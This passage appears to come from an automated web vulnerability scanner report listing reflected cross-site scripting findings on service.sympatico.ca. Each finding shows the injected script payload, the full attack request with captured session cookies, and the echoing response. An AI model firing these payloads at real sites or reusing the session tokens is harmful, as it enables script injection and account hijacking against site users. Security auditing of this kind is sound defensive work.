F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:38 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.sifr.js8954d"><script>alert(1)</script>1203aa01179" />
...[SNIP]...

2.220. http://service.sympatico.ca/js/multipleSubmitBlocker.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/multipleSubmitBlocker.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68a83"><script>alert(1)</script>40ba19d81be was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js68a83"><script>alert(1)</script>40ba19d81be/multipleSubmitBlocker.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:22 GMT
Connection: close
Set-Cookie: SMSESSION=Ffq+jazQ96l5fboRnahNPysfPJ/2/61AtmhSB5Pp5vL9ktq5HqU0qWodBOvLu5oNDxbTVLgkjbGH/OvWYSW7ydT3jl+QPsKpxKgYE6RQecVf7ScIZu3Zh6CDSfi+++Fk7+1rZ4cHQ4iWxJSlUgkigeqqDPqIsJAXqdwXjCI8tnfrl3R4SiDn8xSNOymowKQgQqWgjt7BKIIbg6HJ6aCek9CvfWC7MOYfBgZjJD3+mSeppnBms9hhFOtsUQT3qFOA/pVuLL2IDZ2VzfXnGpf1SdZteS+Ue94MaS6/LrPDSAGukoDHgTnT2Q==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:23 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:23 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:23 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:23 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:23 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:23 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:23 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:23 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:23 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:23 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:23 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:23 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:23 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:23 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js68a83"><script>alert(1)</script>40ba19d81be/multipleSubmitBlocker.js" />
...[SNIP]...

2.221. http://service.sympatico.ca/js/multipleSubmitBlocker.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/multipleSubmitBlocker.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb315"><script>alert(1)</script>dcf5aac631c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/multipleSubmitBlocker.jsfb315"><script>alert(1)</script>dcf5aac631c HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:32 GMT
Connection: close
Set-Cookie: SMSESSION=2NsUfl5NnZCK7ycnv1VJddnkWLoyHYUsMfTTmLemwhUmHHGBcXmjjLk4RP7deeg8CLAvDDQobzQAe5uLyrxtXynSq/QLzsy6SHZvMA3jdNv3d0jDQoiHV3Wg22dFMXmImHp/9X2NC6RRA3+ijsGOb68mB9uQ+zDPxrtnMKAGZKxh6pstG4VXJpXyLZQgfv7Pv0BSg4nWrJ7erMdK5/5ldsO2DaGk90Iy/ODauvAWBSuPCFKHXnNteg3gEEk4LyRTBXFsZ4vT768GyF9pD97LM6s9vm5Fh1A2oa+Jz+Xh0h5az2dZJx5H8A==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:32 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:32 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:32 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:32 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:32 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:32 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:32 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:32 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:32 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:32 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:32 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:32 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:32 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:32 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
me="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/multipleSubmitBlocker.jsfb315"><script>alert(1)</script>dcf5aac631c" />
...[SNIP]...

2.222. http://service.sympatico.ca/js/tooltip.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/tooltip.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b41f5"><script>alert(1)</script>c835f085fd0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsb41f5"><script>alert(1)</script>c835f085fd0/tooltip.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:43 GMT
Connection: close
Set-Cookie: SMSESSION=zEsHNtSACe3HYe14yvdF+EXy1NqjPJ6FnJT46FObyVNNbkta0tw77T2VshHHjVL8w8KuHQmhmalS4uXjy4gGkGkb50jX1YXM18R3SbzI48WeX+QIL3kgryepH2uSPzmdCahNxS3bwZUfQqECMJNmTNNAYDMNKs35nv2YLGCjWiwRHbeTbAY51+H6NxndLZuLu03yNMP37fGg7lp/qsbbU/yExI1j7TiX9/xkq/lHIl3IROXWm0JYksrVVHQX63vzDxDB/nTetOXYvns5Q86dGPlg7dNepZaFxB2eZNE960Z7t+t8RzyuHw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:44 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:44 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:44 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:44 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:44 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:44 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:44 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:44 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:44 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:44 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:44 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:44 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:44 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2